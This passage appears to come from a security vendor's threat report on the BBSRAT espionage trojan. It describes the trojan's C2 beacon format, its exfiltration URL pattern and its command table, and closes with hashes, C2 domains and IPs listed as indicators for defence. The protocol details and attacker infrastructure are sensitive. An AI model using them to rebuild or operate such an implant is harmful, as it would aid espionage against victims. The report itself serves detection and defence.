Connection: Keep-Alive
Host: transactiona[.]com
Cache-Control: no-cache
Accept: */*
Content-Type:

In the above example, the ‘1’ used both in the URI and the sid GET parameter is a global incremental counter. Every subsequent request made by BBSRAT increments this counter by one. Additionally, all variants of BBSRAT we have found use the same URL for command and control (C2) communication.

When first executed, the malware will exfiltrate data about the victim’s machine via a POST request to the ‘/bbs/[counter]/forum.php?sid=[counter]’ URL. All network data sent via POST requests uses a custom binary structure, as defined as the following:

The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data:

The following data structure holds the victim’s information that is uploaded by BBSRAT:

BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET beacons that are continually requested via either HTTP or HTTPS. The following commands and sub-commands have been identified:

Command Sub-command Description
0x110010 N/A Beacon
0x110011 N/A Uninstall/Kill Malware
0x110020 N/A Upload Victim Information
0x110064 0x2 Execute Command and Return Response
0x110064 0x4 Unknown
0x110064 0x5 Execute Shellcode
0x110066 0x7 Query Service Configuration
0x110066 0x9 Start Service
0x110066 0xa Stop Service
0x110066 0xb Delete Service
0x110066 0xc Change Service Configuration
0x110063 0xd Enumerate Running Processes
0x110063 0xf Kill Process
0x110063 0x10 Get Process Information
0x110063 0x12 Free Library for Specified Process
0x110065 0x1b Execute Command Quietly
0x110065 0x1e Send Input to Console
0x110065 0x1f Execute Shellcode
0x110061 0x20 List Drive Information
0x110061 0x21 List File Information For Given Directory
0x110061 0x23 Write File
0x110061 0x24 Read File
0x110061 0x25 List File Information For Given Directory
0x110061 0x27 Perform File Operation via SHFileOperation()
0x110061 0x28 Delete File
0x110061 0x29 Create Directory
0x110061 0x2a Shell Execute

Please refer to the appendix for a full list of identified BBSRAT samples and their associated C2 servers.

Conclusion

As in many of the previous articles regarding espionage-motivated adversaries and possible nation-state campaigns, what is being observed in this attack campaign is a continued operation and evolution by the adversary even after its tactics, techniques, and procedures (TTPs) have become public knowledge. Despite the fact that the information about these attackers has been public for over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed playbook. We urge organizations to use the data from Unit 42 and other threat intelligence sources is paramount to proactively secure themselves and prevent attacks.

WildFire properly classifies BBSRAT malware samples as malicious. We have released DNS signatures to block access to the C2 domain names included in this report. AutoFocus users can explore these attacks using the BBSRAT malware family tag.

Appendix

YARA Rule

BBSRAT Samples

MD5 EF5FA2378307338D4E75DECE88158D77 (Sample Analyzed)
SHA1 574230D89EABDE0B6F937CD718B3AD19BB4F5CE3
SHA256 FC4B465EE8D2053E9E41FB0A6AE32843E4E23145845967A069E584F582279725
Compile Time 2014-12-26 17:17:00 UTC
Network Protocol HTTPS
C2 Server(s) transactiona[.]comfinancenewsru[.]net

 

MD5 2254A1CA05DB87D9D58A71DDB97C7395
SHA1 65B17D3FF68D25392A9B0B9E25A275540DFB4E8D
SHA256 567A5B54D6C153CDD2DDD2B084F1F66FC87587DD691CD2BA8E30D689328A673F
Compile Time 2015-11-04 07:14:33 UTC
Network Protocol HTTPS
C2 Server(s) jowwln[.]cocolco[.]compagbine[.]ofhloe[.]com

cdaklle[.]housejjk[.]com

 

MD5 74A41C62D9EC1164AF82B802DA3E8B3E
SHA1 D390E0965823E42584F2799EF0E8161A6540AF3E
SHA256 77A2E26097285A794E42C9E813D14936D0E7A1DD3504205DD6B28A71626F8C3C
Compile Time 2015-11-04 07:14:33
Network Protocol HTTPS
C2 Server(s) kop[.]gupdiic[.]com

 

MD5 C17534E4B61C08A7646CDC64574B429B
SHA1 931BAB999568C228616430A5AEDFEDFC34E1F151
SHA256 61A692E615E31B97B47A215479E6347FBD8E6E33D7C9D044766B4C1D1AE1B1FB
Compile Time 2015-11-04 07:14:33 UTC
Network Protocol HTTPS
C2 Server(s) herman[.]eergh[.]com

 

MD5 C7C79393E762E7ED925F42D3C899BA60
SHA1 7406B11851200D0ADA1A8334107182D636738CE5
SHA256 B1737F3A1C50CB39CD9938D5EC3B4A6A10B711F17E917886481C38967B93E259
Compile Time N/A
Network Protocol HTTP
C2 Server(s) 211.44.42[.]55

 

MD5 0EA888E970345B2FBFD74B369FE46DDD
SHA1 EB4F9BDE2FFAE863E0D7AD5848A758D59224C3F7
SHA256 56D878EDD61176CA30D4A41555671161158E94E8A50E5482985F42C4E4843CB5
Compile Time 2015-08-25 09:33:57 UTC
Network Protocol HTTPS
C2 Server(s) crew[.]wichedgecrew[.]comblueway[.]garmio-drive[.]com

helloway[.]floretdog[.]com

 

MD5 FA944818A939456A7B6170326C49569F
SHA1 0EB3AE28A7A7D97ABA30DA4E8EB0A4AB36EFD035
SHA256 22592A32B1193587A707D8B20C04D966FE61B37F7DEF7613D9BB91FF2FE9B13B
Compile Time 2015-08-25 09:33:57 UTC
Network Protocol HTTPS
C2 Server(s) panaba[.]empleoy-plan[.]comkop[.]gupdiic[.]com

peak[.]measurepeak[.]com

 

MD5 896691AE546F498404F5884607D6EB50
SHA1 91A176EB5B2436762B9898075EC66042E33615A3
SHA256 13D0BD83A023712B54C1DD391DFC1BC27B22D9DF4FE3942E2967EC82D7C95640
Compile Time N/A
Network Protocol HTTP
C2 Server(s) 211.44.42[.]55

 

MD5 A78B9438117963A9A18B2F056888498B
SHA1 98E79C065DB88B4686AB5B7C36C4524333D64C48
SHA256 E049BD90028A56B286F4B0B9062A8DF2AB2DDF492764E3962F295E9CE33660E3
Compile Time 2014-12-26 17:17:00 UTC
Network Protocol HTTP
C2 Server(s) 211.44.42[.]55support.yandexmailru[.]kr

 

MD5 B4927EAC9715014E17C53841FEEDF4E1
SHA1 26E8CFD13175B67C12FC72A11FBDBC749F0B61C0
SHA256 2D81D65D09BF1B864D8964627E13515CEE7DEDDFBD0DC70B1E67F123AB91421E
Compile Time 2014-12-26 17:17:00 UTC
Network Protocol HTTPS
C2 Server(s) kop[.]gupdiic[.]companaba[.]empleoy-plan[.]com

peak[.]measurepeak[.]com

 

MD5 41A02CAF0A0D32FAD5418425F9973616
SHA1 CC83EA6EF4763F24193D56359590BB34127DD36E
SHA256 7438ED5F0FBE4B26AFED2FE0E4E4531FC129A44D8EA416F12A77D0C0CD873520
Compile Time 2015-08-25 09:33:57 UTC
Network Protocol HTTPS
C2 Server(s) herman[.]eergh[.]comprdaio[.]unbrtel[.]com

loomon[.]gupdicc[.]com

 

MD5 AA59EE1E40D22BD22CEE19B8B6A17DF3
SHA1 963E0AD3EC717253A8E74F45D3C552107D6ECACA
SHA256 6FAE5305907CE99F9AB51E720232EF5ACF1950826DB520A847BF8892DC9578DE
Compile Time 2014-12-26 17:17:00 UTC
Network Protocol HTTPS
C2 Server(s) winwordupdate[.]dynu[.]com

 

MD5 B934BF027EC3A9DFCAE9D836D68BAB75
SHA1 E9744516E621B233C44F5854C0DF63FFDD62FB81
SHA256 0BAF36CA2D3772FDFF989E2B7E762829D30DB132757340725BB50DEE3B51850C
Compile Time 2014-12-26 17:17:00 UTC
Network Protocol HTTPS
C2 Server(s) transactiona[.]comfinancenewsru[.]net

 

MD5 7533E65A16B4B3BA451A141F389D3A30
SHA1 CB46E6234DA0A9C859C1F71FFEB86100284A0142
SHA256 D579255852720D794349AE2238F084C6393419AF38479F3D0E3D2A21C9EB8E18
Compile Time 2014-12-26 17:17:00 UTC
Network Protocol HTTPS
C2 Server(s) winwordupdate[.]dynu[.]comadobeflashupdate1[.]strangled[.]net

 

MD5 8CD233D3F226CB1BF6BF15ACA52E0E36
SHA1 B955CA4AA8F7181C2252C4699718F6FEFC0B9CE3
SHA256 95F198ED29CF3F7D4DDD7CF688BFEC9E39D92B78C0A1FD2288E13A92459BDB35
Compile Time 2015-09-22 06:16:44 UTC
Network Protocol HTTP
C2 Server(s) www[.]testzake[.]com

PowerSploit Downloader

MD5 0AA391DC6D9EBEC2F5D0EE6B4A4BA1FA
SHA1 D238C157F87204D03C9005AF9A9CBC28C108E50A
SHA256 71DC584564B726ED2E6B1423785037BFB178184419F3C878E02C7DA8BA87C64D
Compile Time 2015-09-21 11:59:18 UTC
Network Protocol HTTP
C2 Server(s) www[.]testzake[.]com

IOCs

Hashes

61a692e615e31b97b47a215479e6347fbd8e6e33d7c9d044766b4c1d1ae1b1fb
22592a32b1193587a707d8b20c04d966fe61b37f7def7613d9bb91ff2fe9b13b
2d81d65d09bf1b864d8964627e13515cee7deddfbd0dc70b1e67f123ab91421e
d579255852720d794349ae2238f084c6393419af38479f3d0e3d2a21c9eb8e18
0fc52c74dd54a97459e964b340d694d8433a3229f61e1c305477f8c56c538f27
567a5b54d6c153cdd2ddd2b084f1f66fc87587dd691cd2ba8e30d689328a673f
95f198ed29cf3f7d4ddd7cf688bfec9e39d92b78c0a1fd2288e13a92459bdb35
6fae5305907ce99f9ab51e720232ef5acf1950826db520a847bf8892dc9578de
b1737f3a1c50cb39cd9938d5ec3b4a6a10b711f17e917886481c38967b93e259
71dc584564b726ed2e6b1423785037bfb178184419f3c878e02c7da8ba87c64d
4ea23449786b655c495edf258293ac446f2216464b3d1bccb314ef4c61861101
0baf36ca2d3772fdff989e2b7e762829d30db132757340725bb50dee3b51850c
012ec51657d8724338a76574a39db4849579050f02c0103d46d406079afa1e8b
e049bd90028a56b286f4b0b9062a8df2ab2ddf492764e3962f295e9ce33660e3
77a2e26097285a794e42c9e813d14936d0e7a1dd3504205dd6b28a71626f8c3c
5aa7db3344aa76211bbda3eaaccf1fc1b2e76df97ff9c30e7509701a389bd397
fc4b465ee8d2053e9e41fb0a6ae32843e4e23145845967a069e584f582279725
44171afafca54129b89a0026006eca03d5307d79a301e4a8a712f796a3fdec6e
7438ed5f0fbe4b26afed2fe0e4e4531fc129a44d8ea416f12a77d0c0cd873520
13d0bd83a023712b54c1dd391dfc1bc27b22d9df4fe3942e2967ec82d7c95640

Domains

adobeflashupdate.dynu[.]com
adobeflashupdate1.strangled[.]net
cdaklle.housejjk[.]com
futuresgolda[.]com
herman.eergh[.]com
jowwln.cocolco[.]com
kop.gupdiic[.]com
loomon.gupdiicc[.]com
pagbine.ofhloe[.]com
panaba.empleoy-plan[.]com
peak.measurepeak[.]com
prdaio.unbrtel[.]com
support.yandexmailru[.]kr
systemupdate5.dtdns[.]net
testzake[.]com
transactiona[.]com
wap.gxqtc[.]com
wap.hbwla[.]com
wap.kylxt[.]com
windowsupdate.dyn[.]nu
winwordupdate.dynu[.]com
http://www.testzake[.]com
http://www.yunw[.]top

and

[Palo Alto Networks Blog]

English
Exit mobile version